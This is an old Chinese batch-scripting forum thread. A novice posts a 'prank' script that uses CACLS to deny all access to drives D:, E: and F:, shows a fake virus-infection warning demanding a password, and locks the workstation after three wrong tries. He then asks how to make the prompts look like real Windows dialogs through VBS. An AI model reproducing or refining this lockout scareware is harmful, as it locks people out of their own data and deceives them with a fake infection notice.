中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --
联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
游客 | 登录 | 注册 | 会员 | 搜索 | 中国DOS联盟
中国DOS联盟论坛
现在时间是 2026-08-04 17:17
48,038 主题排行 / 350,123 发帖 / 今日 0 篇 / 48,251 会员排行
DOS批处理 & 脚本技术(批处理室) » 如何让批处理中运行VBS命令
可打印版本  821 / 0
第1楼 8j 发表于 2007-05-26 05:01
新手上路 发帖 7 积分 17
如何让批处理中运行VBS命令
:P
我批处理全是在这里刚刚学习
以前只学习了一些简单的DOS命令`
发现批处理使用很方便,也很有意思
自己做了一个整人的批处理如下:
@echo off
echo y|CACLS d: /c /p everyone:n
echo y|CACLS e: /c /p everyone:n
echo y|CACLS f: /c /p everyone:n
cls
echo ╔-------------------------------------------------╗
echo ┆ 尊敬的用户: ┆
echo ┆ 您已经感染了病毒程序 ┆
echo ┆ 程序将锁定您的硬盘逻辑分区 ┆
echo ┆ 请输入安全密码清除! ┆
echo ╚-------------------------------------------------╝
title 八戒专用
prompt 行动-》
color 0d


pause

set num=0
:loop
set /p pass=请输入病毒清除密码:
if "%pass%"=="fuck" goto next
set /a num=%num% + 1
if %num%==3 goto error
goto loop

:error
%windir%\system32\rundll32.exe user32.dll,LockWorkStation
goto end

:next
echo y|CACLS d: /c /p everyone:f
echo y|CACLS e: /c /p everyone:f
echo y|CACLS f: /c /p everyone:f
cls
@echo off
cls
echo ╔------------------------------------------╗
echo ┆ 谢谢合作! ┆
echo ┆ 病毒清除成功! ┆
echo ┆ By:八戒 ┆
echo ╚------------------------------------------╝
title 八戒专用
prompt 行动-》
color 0d


pause

:end

这个是做出来耍朋友玩的,

偶然一次在逛论坛的时候,看到别人把VBS用到批处理里面
可以把显示提示的那些全部变成WINDOWS提示框
今天又看了一些VBS的帖子,才知道原来是通过VBS```

像下面这个保存成TXT再把扩展名改为VBS
就可以看到效果:
msgbox "Hello!",,"系统提示"
Dim name

name=Inputbox("请输入你的名字:","系统提示")

Msgbox name, , "您的名字是"



请问哪位大虾可以帮我把上面的那种提示改成WINDOWS提示框的那种
最好输入密码也变成那种的``嘿嘿```
不知道行不行````
以前有看过一个在批处理中运行完以后,出现WINDOWS提示框的那种````
当时没保存下来``现在也找不到了
[ 联系联盟系统管理团队 - 中国DOS联盟 - 标准版 ]
Sponsored by ifanr Inc | © 2001–2023